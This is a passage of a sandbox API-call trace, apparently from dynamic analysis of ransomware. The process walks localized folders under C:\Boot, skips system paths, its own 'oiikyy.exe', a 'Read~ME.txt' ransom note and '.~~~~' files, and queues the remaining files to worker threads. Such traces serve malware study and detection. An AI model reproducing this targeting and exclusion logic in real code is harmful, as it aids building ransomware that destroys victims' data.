	[0062.271] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.271] lstrcmpiW (lpString1="C:\\Boot\\it-IT", lpString2="C:\\Windows") returned -1
	[0062.271] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.271] lstrcmpiW (lpString1="C:\\Boot\\it-IT", lpString2="C:\\System Volume Information") returned -1
	[0062.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.280] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.280] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.280] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.280] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.280] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.280] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.280] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.280] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.280] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.280] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.280] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.280] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.280] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.280] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.280] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.280] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.280] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.280] GetCurrentThreadId () returned 0x618
	[0062.280] GetCurrentThreadId () returned 0x618
	[0062.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.281] RtlWakeConditionVariable () returned 0x1
	[0062.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.282] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.282] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.283] GetCurrentThreadId () returned 0x618
	[0062.283] GetCurrentThreadId () returned 0x618
	[0062.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.283] RtlWakeConditionVariable () returned 0x1
	[0062.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.286] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0062.286] lstrcmpiW (lpString1="ja-JP", lpString2="Windows") returned -1
	[0062.286] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1
	[0062.286] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1
	[0062.286] lstrcmpW (lpString1="ja-JP", lpString2="AppData") returned 1
	[0062.286] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ja-JP", lpSrch="AppData") returned 0x0
	[0062.286] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.286] lstrcmpiW (lpString1="C:\\Boot\\ja-JP", lpString2="C:\\Windows") returned -1
	[0062.286] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.286] lstrcmpiW (lpString1="C:\\Boot\\ja-JP", lpString2="C:\\System Volume Information") returned -1
	[0062.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.287] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.287] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.287] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.287] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.287] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.287] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.287] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.287] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.287] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.287] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.287] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.287] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.287] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.287] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.287] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.287] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.287] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.287] GetCurrentThreadId () returned 0x618
	[0062.287] GetCurrentThreadId () returned 0x618
	[0062.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.288] RtlWakeConditionVariable () returned 0x1
	[0062.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.289] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.290] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.290] GetCurrentThreadId () returned 0x618
	[0062.290] GetCurrentThreadId () returned 0x618
	[0062.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.290] RtlWakeConditionVariable () returned 0x1
	[0062.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.293] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0062.293] lstrcmpiW (lpString1="ko-KR", lpString2="Windows") returned -1
	[0062.293] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1
	[0062.293] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1
	[0062.293] lstrcmpW (lpString1="ko-KR", lpString2="AppData") returned 1
	[0062.293] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ko-KR", lpSrch="AppData") returned 0x0
	[0062.293] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.293] lstrcmpiW (lpString1="C:\\Boot\\ko-KR", lpString2="C:\\Windows") returned -1
	[0062.293] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.293] lstrcmpiW (lpString1="C:\\Boot\\ko-KR", lpString2="C:\\System Volume Information") returned -1
	[0062.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.295] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.295] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.295] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.295] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.295] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.295] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.295] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.295] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.296] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.296] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.296] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.296] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.296] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.296] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.296] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.296] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.296] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.296] GetCurrentThreadId () returned 0x618
	[0062.296] GetCurrentThreadId () returned 0x618
	[0062.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.296] RtlWakeConditionVariable () returned 0x1
	[0062.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.298] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.298] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.298] GetCurrentThreadId () returned 0x618
	[0062.298] GetCurrentThreadId () returned 0x618
	[0062.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.298] RtlWakeConditionVariable () returned 0x1
	[0062.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.301] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0062.301] lstrcmpiW (lpString1="memtest.exe", lpString2="Windows") returned -1
	[0062.301] lstrcmpW (lpString1="memtest.exe", lpString2="oiikyy.exe") returned -1
	[0062.301] StrStrW (lpFirst="memtest.exe", lpSrch=".~~~~") returned 0x0
	[0062.302] lstrcmpW (lpString1="memtest.exe", lpString2="Read~ME.txt") returned -1
	[0062.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.302] GetCurrentThreadId () returned 0x618
	[0062.302] GetCurrentThreadId () returned 0x618
	[0062.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0062.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0062.302] RtlWakeConditionVariable () returned 0x1
	[0062.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.304] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0062.304] lstrcmpiW (lpString1="nb-NO", lpString2="Windows") returned -1
	[0062.304] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1
	[0062.304] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1
	[0062.304] lstrcmpW (lpString1="nb-NO", lpString2="AppData") returned 1
	[0062.304] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO", lpSrch="AppData") returned 0x0
	[0062.304] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.304] lstrcmpiW (lpString1="C:\\Boot\\nb-NO", lpString2="C:\\Windows") returned -1
	[0062.304] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.304] lstrcmpiW (lpString1="C:\\Boot\\nb-NO", lpString2="C:\\System Volume Information") returned -1
	[0062.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.304] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.305] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.305] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.305] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.305] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.305] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.305] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.305] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.305] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.305] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.305] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.305] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.305] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.305] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.305] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.305] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.305] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.305] GetCurrentThreadId () returned 0x618
	[0062.305] GetCurrentThreadId () returned 0x618
	[0062.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.305] RtlWakeConditionVariable () returned 0x1
	[0062.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.309] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.309] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.309] GetCurrentThreadId () returned 0x618
	[0062.309] GetCurrentThreadId () returned 0x618
	[0062.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.309] RtlWakeConditionVariable () returned 0x1
	[0062.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.312] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0062.312] lstrcmpiW (lpString1="nl-NL", lpString2="Windows") returned -1
	[0062.312] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1
	[0062.312] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1
	[0062.312] lstrcmpW (lpString1="nl-NL", lpString2="AppData") returned 1
	[0062.312] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nl-NL", lpSrch="AppData") returned 0x0
	[0062.312] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.312] lstrcmpiW (lpString1="C:\\Boot\\nl-NL", lpString2="C:\\Windows") returned -1
	[0062.313] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.313] lstrcmpiW (lpString1="C:\\Boot\\nl-NL", lpString2="C:\\System Volume Information") returned -1
	[0062.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
